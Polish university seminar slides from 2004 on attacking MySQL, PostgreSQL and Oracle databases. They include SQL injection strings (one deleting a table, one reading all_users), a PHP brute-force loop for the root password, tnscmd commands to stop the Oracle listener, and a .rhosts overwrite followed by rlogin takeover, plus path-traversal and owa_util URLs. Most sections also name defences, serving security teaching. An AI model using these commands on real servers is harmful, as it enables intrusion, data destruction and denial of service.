Bazy danych z punktu widzenia intruza.
Transkrypt
Bazy danych z punktu widzenia intruza.
Bazy danych z punktu widzenia intruza. Bezpieczeństwo systemów komputerowych. Temat seminarium: Bazy danych z punktu widzenia intruza. Autor: Mariusz Ku źma Bazy danych z punktu widzenia intruza. (MySQL, PostgreSQL, Oracle) Seminarium 2004 – PP, SKiSR 1 Bazy danych z punktu widzenia intruza – Przebieg prezentacji Przebieg prezentacji: MySQL Wstęp MySQL z punktu widzenia intruza - Przepełnienie bufora (buffer overflow) - Atak HTML injection - Atak brutalny PostgreSQL Wstęp PostgreSQL z punktu widzenia intruza - Przepełnienie bufora (buffer overflow) - Atak HTML injection ORACLE Wstęp ORACLE z punktu widzenia intruza - Uzyskanie informacji - Prosty atak DoS - Nadpisanie dowolnego pliku - Przykładowy scenariusz ataku przejęcia kontroli nad bazą - Odczyt informacji ostatniego połączenia z listenerem - Ujawnienie treści skryptów JSP - Atak HTML injection - Moduł mod_plsql - Wykorzystanie standardowych pakietów PL/SQL Podsumowanie Literatura Seminarium 2004 – PP, SKiSR Bazy danych z punktu widzenia intruza – MySQL MySQL Seminarium 2004 – PP, SKiSR Bazy danych z punktu widzenia intruza – MySQL MySQL – jest bardzo szybkim, solidnym systemem zarządzania relacyjnymi bazami danych (RDMS – relation database management system). Baza danych umożliwia wydajne przechowywanie, przeszukiwanie, sortowanie i odczytywanie danych.[1] Serwer MySQL kontroluje dostęp do bazy w celu zapewnienia równoczesnego dostępu wielu użytkownikom, zagwarantowania szybkiego dostępu oraz dostępu jedynie dla uwierzytelnionych użytkowników. Reasumując serwer MySQL jest serwerem wielodostępowym i wielowątkowym.[1] MySQL jest obecnie dostępny w licencji Open Source, ale w konkretnych przypadkach można uzyskać licencje komercyjne. Seminarium 2004 – PP, SKiSR 4 Bazy danych z punktu widzenia intruza – MySQL – MySQL z punktu widzenia intruza MySQL z punktu widzenia intruza • Przepełnienie bufora (buffer overflow) • Atak HTML injection • Atak brutalny Seminarium 2004 – PP, SKiSR 5 Bazy danych z punktu widzenia intruza – MySQL – Przepełnienie bufora (buffer overflow) Przepełnienie bufora (buffer overflow) Atak przepełnienia buforu wykorzystuje brak lub niewłaściwe sprawdzanie długości łańcuchów tekstowych w programach uprzywilejowanych.W ten sposób można zdobywać uprawnienia zarówno w systemach Unixowych jak i Microsoftu. Błąd przepełnienia bufora w MySQL, który mógłby zostać wykorzystany przez użytkownika mającego uprawnienia do dokonywania zmian w tablicach. Luka pozwala atakującemu na wykonanie arbitralnego kodu z przywilejami procesu mysqld. Seminarium 2004 – PP, SKiSR 6 Bazy danych z punktu widzenia intruza – MySQL – Przepełnienie bufora (buffer overflow) Przepełnienie bufora (buffer overflow) Działanie tego typu programów polega na wysłaniu na tyle długiego łańcucha, że przekracza on swoją długością zarezerwowane na stosie miejsce na zmienne lokalne podprogramu. Przekraczając dozwoloną długość nadpisuje się inne obszary stosu – m.in. adres powrotu podprogramu. W ten sposób można w nadpisanym obszarze pamięci umieścić dowolny program lub wywołanie powłoki a w miejscu adresu powrotu umieścić skok do przesłanego programu lub wywołania powłoki. Obrona polega na pisaniu poprawnych programów sprawdzających długość pobieranych danych, zmodyfikowaniu kompilatora itp. Seminarium 2004 – PP, SKiSR 7 Bazy danych z punktu widzenia intruza – MySQL – Atak HTML injection Atak HTML injection Ataki HTML injection polegają na przesłaniu stronie, która oczekuje od nas danych w postaci czystego tekstu, ciągu zawierającego specjalnie spreparowanego kodu HTML.[2] Taki atak mógłby zostać wykorzystany przez użytkownika mającego uprawnienia do dokonywania zmian w tablicach (bazy MySQL). Obrona przed atakiem HTML injection polega na dokładnym sprawdzaniu zawartości każdej zmiennej przekazywanej do bazy danych. Seminarium 2004 – PP, SKiSR 8 Bazy danych z punktu widzenia intruza – MySQL – Atak HTML injection Przykład ataku HTML injection na bazę MySQL Wyobraźmy sobie aplikację która wyszukuje w tabeli wiersz o wskazanej przez użytkownika wartości jednego z pól. Zapytanie może wyglądać w przybliżeniu tak: SELECT * FROM nazwa_tabeli WHERE pole=$jakies_dane W zapytaniu tym zostaje wstawiona wartość przekazana przez użytkownika i przekazana do bazy. A teraz atakujący może przekazać następujący ciąg: $jakies_dane=‘4;delete from nazwa_tabeli’ SELECT * FROM nazwa_tabeli WHERE pole= 4;delete from nazwa_tabeli Zapytanie spowoduje wyświetlenie pól o wartości 4 i dodatkowo usunięcie wszystkich wpisów w tabeli nazwa_tabeli. Seminarium 2004 – PP, SKiSR 9 Bazy danych z punktu widzenia intruza – MySQL – Atak brutalny Atak brutalny Polega na generowaniu wszystkich możliwych kombinacji w zależności od długości hasła (przy znanym loginie) podczas nawiązywania połączenia z bazą danych MySQL. Składnia wywołania funkcji mysql_connect w skrypcie PHP przy nawiązaniu połączenia z bazą danych przez WWW wygląda następująco: mysql_connect(host,login,haslo) Seminarium 2004 – PP, SKiSR 10 Bazy danych z punktu widzenia intruza – MySQL – Atak brutalny Przykład ataku brutalnego na bazę mysql. Wyobraźmy sobie skrypt (np. PHP) który generuje wszystkie kombinacje hasła o danej długości i próbuje nawiązać połaczenie jako użytkownik root z bazą danych mysql, przy znanym adrsie serwera MySQL. ... do { ... $haslo.=KolejnyZnak; $db_lacz=mysql_connect("adres_serwera","root",$haslo); } while(!$db_lacz) echo ‘Hasło roota = ’. $haslo; ... Obrona polega na ustawieniu pola host w tabeli user na localhost. update user set host=‘localhost’ where user=‘root’; Seminarium 2004 – PP, SKiSR 11 Bazy danych z punktu widzenia intruza – PostgreSQL PostgreSQL Seminarium 2004 – PP, SKiSR Bazy danych z punktu widzenia intruza – PostgreSQL PostgreSQL jest najbardziej dojrzałą, najczęściej używaną i darmową (obiektowo relacyjną) bazą danych RDBMS SQL na świecie (MySQL nie należy do tej klasy). Do tej klasy należą między innymi serwery: Oracle8, Sybase11 czy InterBase5.1.[3] PostgreSQL jest rozpowszechniany na podstawie Powszechnej Publicznej Licencji GNU (GNU GPL). Jest dostępny m.in. na platformach: Linux, FreeBSD, Solaris, HP-UX, Irix, Windows 95, 98 i NT. Seminarium 2004 – PP, SKiSR 13 Bazy danych z punktu widzenia intruza – PostgreSQL – PostgreSQL z punktu widzenia intruza PostgreSQL z punktu widzenia intruza • Przepełnienie bufora (buffer overflow) • Atak HTML injection Seminarium 2004 – PP, SKiSR 14 Bazy danych z punktu widzenia intruza – PostgreSQL – Przepełnienie buforu (buffer overflow) Przepełnienie buforu (buffer overflow) Atak przepełnienia buforu polega dokładnie na analogi, jak w przypadku MySQL (slajd nr 5). Natomiast obrona jest identyczna jak w przypadku MySQL (slajd nr 6). Seminarium 2004 – PP, SKiSR 15 Bazy danych z punktu widzenia intruza – PostgreSQL – Atak HTML injection Atak HTML injection Atak HTML injection i obrona polega na analogi, jak w przypadku MySQL (slajd nr 7). Seminarium 2004 – PP, SKiSR 16 Bazy danych z punktu widzenia intruza – ORACLE ORACLE Seminarium 2004 – PP, SKiSR Bazy danych z punktu widzenia intruza – ORACLE Oracle Listener – jest to komponent odpowiedzialny przede wszystkim za komunikację między klientami a serwerem Oracle (również za komunikację międzyserwerową). Jest to element każdej instalacji Oracle DBMS.[4] Listener jest procesem działającym na serwerze bazodanowym, którego zadaniem jest przyjmowanie zleceń od klientów. W systemach uniksowych jest to proces o nazwie tnslsnr, a w systemach Windows odpowiedni serwis. Listener nasłuchuje zleceń na porcie TCP 1521. Do komunikacji między Oracle Client a Listenerem jest wykorzystywany protokół TNS (Transparent Network Substrate). Seminarium 2004 – PP, SKiSR 18 Bazy danych z punktu widzenia intruza – ORACLE Największe zagrożenia związane z Oracle Listener nie wymagają od atakującego żadnej wiedzy tajemnej. Nie są to klasyczne przepełnienia bufora wejściowego lub inne typowe błędy popełniane przez programistów (aczkolwiek takie też w nim można znaleźć). Największe słabości Listenera prawdopodobnie wynikają ze złych założeń przyjętych podczas projektowania tego oprogramowania. Do atakowania Oracle Listenera można zastosować prosty skrypt perl o nazwie tnscmd. Skrypt ten pozwala na wydawanie komend protokołu TNS. Można go uzyskać pod adresem http://www.jammed.com/~jwa/hacks/security/tnscmd/tns cmd. Seminarium 2004 – PP, SKiSR 19 Bazy danych z punktu widzenia intruza – ORACLE – ORACLE z punktu widzenia intruza ORACLE z punktu widzenia intruza • Uzyskanie informacji • Prosty atak DoS • Nadpisanie dowolnego pliku • Przykładowy scenariusz ataku przejęcia kontroli nad bazą • Odczyt informacji ostatniego połączenia z listenerem • Ujawnienie treści skryptów JSP • Atak HTML injection • Moduł mod_plsql • Wykorzystanie standardowych pakietów PL/SQL Seminarium 2004 – PP, SKiSR 20 Bazy danych z punktu widzenia intruza – ORACLE – Uzyskanie infromacji o systemie Uzyskanie informacji o systemie Standardowo Oracle Listener przyjmuje komendy od każdego i nie wymaga żadnej autoryzacji, dzięki temu można uzyskać bardzo dużo informacji o systemie. Odpowiadają za to komendy version i status protokołu TNS: tnscmd version -h adres_serwera -p 1521 tnscmd status -h adres_serwera -p 1521 Listener odpowiada na te zapytania zdradzając m.in.: • dokładną wersję Oracle, • rodzaj systemu operacyjnego, • czas od uruchomienia instancji Oracle, • ścieżki do plików z logami, • opcje listenera (m.in. stan opcji security), • rodzaj serwisów Oracle obsługiwanych przez Listenera, • argumenty wywołania, • kompletne środowisko (wartości wszystkich zmiennych systemowych), w jakim został wywołany listener. Seminarium 2004 – PP, SKiSR 21 Bazy danych z punktu widzenia intruza – ORACLE – Uzyskanie infromacji o systemie Listing komendy tnscmd status -h 10.1.1.100 -p 1521 sending (CONNECT_DATA=(COMMAND=status)) to 10.1.1.100:1521 connect writing 89 bytes reading . .......6.........@. ...........J........ DESCRIPTION= TMP= VSNNUM=135291648 ERR=0 ALIAS=LISTENER SECURITY=OFF VERSION=TNSLSNR for Solaris: Version 8.1.6.3.0 - Production START_DATE=28-OCT-2002 16:22:44 SIDNUM=1 LOGFILE=/opt/oracle/8i/network/log/listener.log PRMFILE=/opt/oracle/8i/network/admin/listener.ora TRACING=off UPTIME=379500951 SNMP=OFFSeminarium 2004 – PP, SKiSR 22 Bazy danych z punktu widzenia intruza – ORACLE – Prosty atak DoS (denial of service) Prosty atak DoS (denial of service) • W standardowej konfiguracji Oracle Listener opcja SECURITY ustawiona jest na OFF i mówi o tym, że dla listenera można wydawać komendy bez jakiegokolwiek uwierzytelnienia. Polecenie tnscmd stop -h adres_serwera -p 1521 spowoduje posłuszne zakończenie działania listenera. • Zblokowanie dostępu do listenera za pomocą komendy SERVICE_CURLOAD, polega na konsumcji 99% czasu precesora. Polecenie tnscmd -h adres_serwera --rawcmd "(CONNECT_DATA= (COMMAND=SERVICE_CURLOAD))" Seminarium 2004 – PP, SKiSR 23 Bazy danych z punktu widzenia intruza – ORACLE – Nadpisanie dowolnego pliku Nadpisanie dowolnego pliku Proces listenera (tnslsnr) zapisuje wszystkie zdarzenia w swoim logu. Dokładne miejsce i nazwę pliku logu można zdalnie odczytać przez komendę protokołu TNS - status (opcja LOGFILE) ... LOGFILE=/opt/oracle/8i/network/log/listener.log ... Za pomocą odpowiedniego zlecenia TNS położenie pliku logowania można zmieniać. Ponadto listener ślepo przyjmuje każdą wartość, niezależnie od tego, czy wyspecyfikowany plik istnieje (w takim wypadku zostanie nadpisany), czy też nie (w takim wypadku zostanie stworzony). Listener ma możliwość nadpisania i/lub utworzenia dowolnego pliku do którego ma uprawnienia proces Oracle Listener. Seminarium 2004 – PP, SKiSR 24 Bazy danych z punktu widzenia intruza – ORACLE – Nadpisanie dowolnego pliku Przykład nadpisania pliku (przekierowania logów do pliku /home/oracle/.rhosts) wojdwo@behemot$ ./tnscmd -h oracleserver --rawcmd " (DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) COMMAND=log_file)(ARGUMENTS=4) (SERVICE=LISTENER) (VERSION=1) (VALUE=/home/oracle/.rhosts)))" sending (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file) (ARGUMENTS=4)(SERVICE=LISTENER) (VERSION=1)(VALUE=/home/oracle/.rhosts))) to oracleserver:1521 writing 205 bytes reading .m......"..a(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0)(COMMAND=log_file) (LOGFILENAME=/home/oracle/.rhosts)) Seminarium 2004 – PP, SKiSR 25 Bazy danych z punktu widzenia intruza – ORACLE – Przykładowy scenariusz ataku przejęcia kontroli nad bazą Przykładowy scenariusz ataku przejęcia kontroli nad bazą Polega na dokonaniu odpowiedniego wpisu do pliku . rhosts i wykorzystaniu serwisu rlogin. Krok 1: Zmiana pliku logu listenera na plik .rhosts (slajd nr 24) /home/oracle/.rhosts Seminarium 2004 – PP, SKiSR 26 Bazy danych z punktu widzenia intruza – ORACLE – Przykładowy scenariusz ataku przejęcia kontroli nad bazą Krok 2: Wpisanie adresu IP i loginu intruza do pliku . rhosts (tak aby IP i login był w jednej lini) wojdwo@behemot$ ./tnscmd -h oracleserwer \ --rawcmd "(CONNECT_DATA=(( 10.1.1.223 wojdwo " sending (CONNECT_DATA=(( 10.1.1.223 wojdwo to oracleserwer:1521 writing 93 bytes reading .$....."..(DESCRIPTION=(ERR=1153)(VSNNUM=135294976) (ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4) (ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo')) (ERROR=(CODE=303) (EMFI=1)))) Seminarium 2004 – PP, SKiSR 27 Bazy danych z punktu widzenia intruza – ORACLE – Przykładowy scenariusz ataku przejęcia kontroli nad bazą Krok 3: Za pomocą rlogin intruz loguje się bez żadnego uwierzytelnienia jako użytkownik z prawami użytkownika oracle. wojdwo@behemot$ rlogin -l oracle oracleserwer Obrona przed powyższym atakiem polega na wgraniu łaty wypuszczonej przez ORACLE (#1361722), która wprowadza dodatkowy parametr ADMIN_RESTRICTIONS do pliku konfigurującego listenera (listener.ora). Wyłączenie parametru ADMIN_RESTRICTIONS uniemożliwia zdalną rekonfigurację listenera. Seminarium 2004 – PP, SKiSR 28 Bazy danych z punktu widzenia intruza – ORACLE – Odczyt informacji ostatniego połączenia z listenerem Odczyt informacji ostatniego połączenia z listenerem Błąd polega na ujawnieniu informacji przekazywanej w poprzednim połączeniu innego użytkownika z listenerem. W praktyce ustawiamy w odpowiednim parametrze wartość większą niż w rzeczywistości długość wydawanej komendy TNS (--cmdsize 30), co spowoduje możliwość odczytania części komendy wydanej do listenera przez poprzedniego użytkownika (COMMAND=status ). wojdwo@behemot$ ./tnscmd --rawcmd " " -h oracleserwer --cmdsize 30 sending to oracleserwer:1521 Faking command length to 30 bytes writing 59 bytes reading ......."...(DESCRIPTION=(ERR=1153)(VSNNUM=135294976) (ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4) (ARGS='CONNECT_DATA=(COMMAND=status)')) (ERROR=(CODE=303)(EMFI=1)))) Seminarium 2004 – PP, SKiSR 29 Bazy danych z punktu widzenia intruza – ORACLE – Ujawnienie tre ści skryptów JSP Ujawnienie treści skryptów JSP Podczas generowania strony WWW ze skryptu JSP tworzone są pliki tymczasowe w ścieżce /_pages serwera WWW. Jeden z plików z rozszerzeniem java zawiera kod źródłowy wykonywanego skryptu. W standardowej konfiguracji Apache rozpowszechnianego z Oracle katalog /_pages jest udostępniany przez serwer, w związku z tym intruz może odczytać kod źródłowy stron JSP obsługiwanych przez serwer. Obrona polega na zabronieniu w konfiguracji Apache dostępu do ścieżki /_pages. Dodatkowo wszystkie skrypty JSP powinny być przechowywane w postaci prekompilowanej. Seminarium 2004 – PP, SKiSR 30 Bazy danych z punktu widzenia intruza – ORACLE – Ujawnienie tre ści skryptów JSP Przykład ujawnienia treści skryptów JSP Najpierw należy uruchomić atakowany skrypt JSP, po to by serwer pobrał kod i go skompilował: http://10.1.1.100/demo/sql/bean/ConnBeanDemo.jsp Teraz można odczytać źródło skryptu JSP odwołując się do odpowiedniego pliku w ścieżce /_pages: http://10.1.1.100/_pages/_demo/_sql/_bean/_ConnBeanDe mo.java Seminarium 2004 – PP, SKiSR 31 Bazy danych z punktu widzenia intruza – ORACLE – Atak HTML injection Atak HTML injection Przykładem niech będzie skrypt / demo/sql/tag/sample2.jsp. Skrypt ten jest interfejsem do tabeli zawierającej dane o zarobkach w pewnej fikcyjnej firmie. Skrypt wyświetla w przeglądarce formularz WWW, w którym użytkownik wpisuje zapytanie. Np. wpisanie sal=800 powoduje wykonanie zapytania select ename,sal from scott.emp where sal=800 Przykładowo, wpisanie ciągu sal=800 union select username,userid from all_users spowoduje wykonanie zapytania select ename,sal from scott.emp where sal=800 union select username,userid from all_users Seminarium 2004 – PP, SKiSR 32 Bazy danych z punktu widzenia intruza – ORACLE – Moduł mod_plsql Moduł mod_plsql Moduł Apache mod_plsql służy do interpretowania na serwerze WWW kodu PL/SQL, który jest natywnym językiem baz Oracle. W module tym ujawniono wiele klasycznych błędów: • Przepełnienie bufora wejściowego w skrypcie służącym do wyświetlania pomocy. Wysłanie zlecenia typu: http://10.1.1.100/pls/simpledad/admin_/help/AAAAAAAA.... (>1000 znaków) powoduje błąd segmentacji w procesie obsługującym to zlecenie. Seminarium 2004 – PP, SKiSR 33 Bazy danych z punktu widzenia intruza – ORACLE – Moduł mod_plsql Moduł mod_plsql • Zastosowanie techniki double decode. Polega na przesłaniu do serwera zlecenia zawierającego znaki specjalne (np. ukośnik) dwukrotnie zakodowane heksadecymalnie. W rezultacie możliwe jest obejście restrykcji serwera i odczytanie dowolnego pliku bądź katalogu w przestrzeni serwera WWW. Przykład odczytania pliku konfiguracyjnego plsql.conf: http://10.1.1.100/pls/simpledad/admin_/help/..% 255Cplsql.conf Seminarium 2004 – PP, SKiSR 34 Bazy danych z punktu widzenia intruza – ORACLE – Wykorzystanie standardowych pakietów PL/SQL Wykorzystanie standardowych pakietów PL/SQL W starszych wersjach Oracle (poniżej 9i) wszystkie pakiety PL/SQL są udostępnianie przez Internet, za pomocą mod_plsql. Składnia wywołania procedury PL/SQL przez serwer WWW wygląda następująco: http://ip.ip.ip.ip/pls/DAD/nazwa_pakietu.nazwa_procedur y DAD (Database Access Descriptor) jest to struktura opisująca sposób łączenia się do bazy za pomocą Seminarium 2004 – PP, SKiSR pakietów PL/SQL. 35 Bazy danych z punktu widzenia intruza – ORACLE – Wykorzystanie standardowych pakietów PL/SQL Ataki za pomocą procedur z pakietu owa_util • Sprawdzenie działania pakietu owa_util: http://10.1.1.100/pls/simpledad/owa_util.signature • Ujawnienie kodu żródłowego pakietu PL/SQL (np. file_util): http://10.1.1.100/pls/simpledad/owa_util.showsource?cna me=file_util • Wykonanie nieautoryzowanych zapytań do bazy: http://10.1.1.100/pls/simpledad/owa_util.listprint?p_theQ uery=select%20*%20from% 20all_users&p_cname=&p_nsize= Seminarium 2004 – PP, SKiSR 36 Bazy danych z punktu widzenia intruza – ORACLE – Wykorzystanie standardowych pakietów PL/SQL Ataki za pomocą procedur z pakietu owa_util Inne potencjalnie interesujące pakiety PL/SQL to np.: • htp – procedury pozwalające na obsługę protokołu HTTP, • tcp – procedury obsługi protokołu TCP, pozwalają m.in. na nawiązanie połączenia zwrotnego (wychodzącego), • file_util – procedury dostępu do plików, umożliwiają np. pobranie dowolnego pliku z serwera. Obrona polega na ustawieniu parametru exclusion_list w pliku konfiguracyjnym wdbsrv.app. W starszych wersjach (poniżej 9i) nie jest on włączony. Seminarium 2004 – PP, SKiSR 37 Bazy danych z punktu widzenia intruza – Podsumowanie Podsumowanie Seminarium 2004 – PP, SKiSR Bazy danych z punktu widzenia intruza – Podsumowanie Podsumowanie: Bazy danych MySQL i PostgreSQL są bazami o dużo mniejszej złożoności programowej niż baza danych ORACLE. Mimo że bazy danych MySQL i PostgreSQL są programami Open Source mają mniej błędów niż ORACLE, który jest komercyjną bazą danych. Dużo błędów wynika z tego, że użytkownicy zazwyczaj przyjmują domyślne konfiguracje ustawień baz danych i serwerów WWW, co nie jest zalecane. Seminarium 2004 – PP, SKiSR 39 Bazy danych z punktu widzenia intruza – Literatura Literatura Seminarium 2004 – PP, SKiSR Bazy danych z punktu widzenia intruza – Literatura Literatura [1] J. Smycz, D. Kaczmarek, „PHP i MySQL Tworzenie stron WWW”, wydawnictwo Helion, 2002 [2] „Haking”, Nr 1/2004 [3] „PCkurier”, Nr 8/2000 [4]„Haking”, Nr 1/2003 Seminarium 2004 – PP, SKiSR